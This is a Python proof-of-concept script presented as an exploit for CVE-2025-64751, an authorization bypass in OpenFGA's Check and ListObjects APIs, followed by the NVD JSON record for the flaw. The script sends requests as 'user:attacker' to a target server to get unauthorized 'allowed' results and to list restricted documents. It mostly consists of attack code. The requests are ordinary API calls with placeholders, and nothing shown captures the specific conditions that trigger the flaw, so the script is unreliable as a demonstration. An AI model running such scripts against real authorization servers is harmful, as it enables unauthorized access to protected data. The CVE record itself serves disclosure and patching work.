CVE-2025-64751

# CVE-2025-64751 PoC - OpenFGA Improper Policy Enforcement # This PoC demonstrates the vulnerability in Check and ListObject API import requests import json OPENFGA_URL = "http://target-openfga-server:8080" STORE_ID = "your-store-id" MODEL_ID = "your-model-id" AUTH_TOKEN = "your-auth-token" def exploit_check_api(): """Exploit the Check API to bypass authorization""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious request targeting vulnerable Check endpoint payload = { "store_id": STORE_ID, "model_id": MODEL_ID, "type": "document", "relation": "viewer", "user": "user:attacker", "object": "document:secret-document" } try: response = requests.post( f"{OPENFGA_URL}/stores/{STORE_ID}/check", headers=headers, json=payload, timeout=10 ) result = response.json() print(f"Check API Response: {json.dumps(result, indent=2)}") # Vulnerable behavior: allowed=true when it should be false if result.get("allowed"): print("[+] VULNERABLE: Unauthorized access granted!") return True except Exception as e: print(f"[-] Error: {e}") return False def exploit_list_objects_api(): """Exploit the ListObjects API to enumerate restricted resources""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } payload = { "store_id": STORE_ID, "model_id": MODEL_ID, "type": "document", "relation": "viewer", "user": "user:attacker" } try: response = requests.post( f"{OPENFGA_URL}/stores/{STORE_ID}/list-objects", headers=headers, json=payload, timeout=10 ) result = response.json() print(f"ListObjects API Response: {json.dumps(result, indent=2)}") # Vulnerable behavior: returns objects user shouldn't access if "objects" in result and len(result["objects"]) > 0: print(f"[+] VULNERABLE: Retrieved {len(result['objects'])} unauthorized objects") return result["objects"] except Exception as e: print(f"[-] Error: {e}") return [] if __name__ == "__main__": print("="*60) print("CVE-2025-64751 OpenFGA PoC") print("="*60) print("\n[*] Testing Check API...") exploit_check_api() print("\n[*] Testing ListObjects API...") exploit_list_objects_api()

{"cve": {"id": "CVE-2025-64751", "sourceIdentifier": "[email protected]", "published": "2025-11-21T02:15:43.747", "lastModified": "2025-12-31T13:43:35.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenFGA is a high-performance and flexible authorization/permission engine built for developers and inspired by Google Zanzibar. OpenFGA v1.4.0 to v1.11.0 ( openfga-0.1.34 <= Helm chart <= openfga-0.2.48, v.1.4.0 <= docker <= v.1.11.0) are vulnerable to improper policy enforcement when certain Check and ListObject calls are executed. This issue has been patched in version 1.11.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openfga:helm_charts:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.1.34", "versionEndExcluding": "0.2.49", "matchCriteriaId": "8E15DB5A-6B2B-4FE7-93F5-80ADDC5EB332"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openfga:openfga:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.11.1", "matchCriteriaId": "470C6066-5D4D-4BD5-9130-D535835E6CE0"}]}]}], "references": [{"url": "https://github.com/openfga/openfga/releases/tag/v1.11.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/openfga/openfga/security/advisories/GHSA-2c64-vmv2-hgfc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}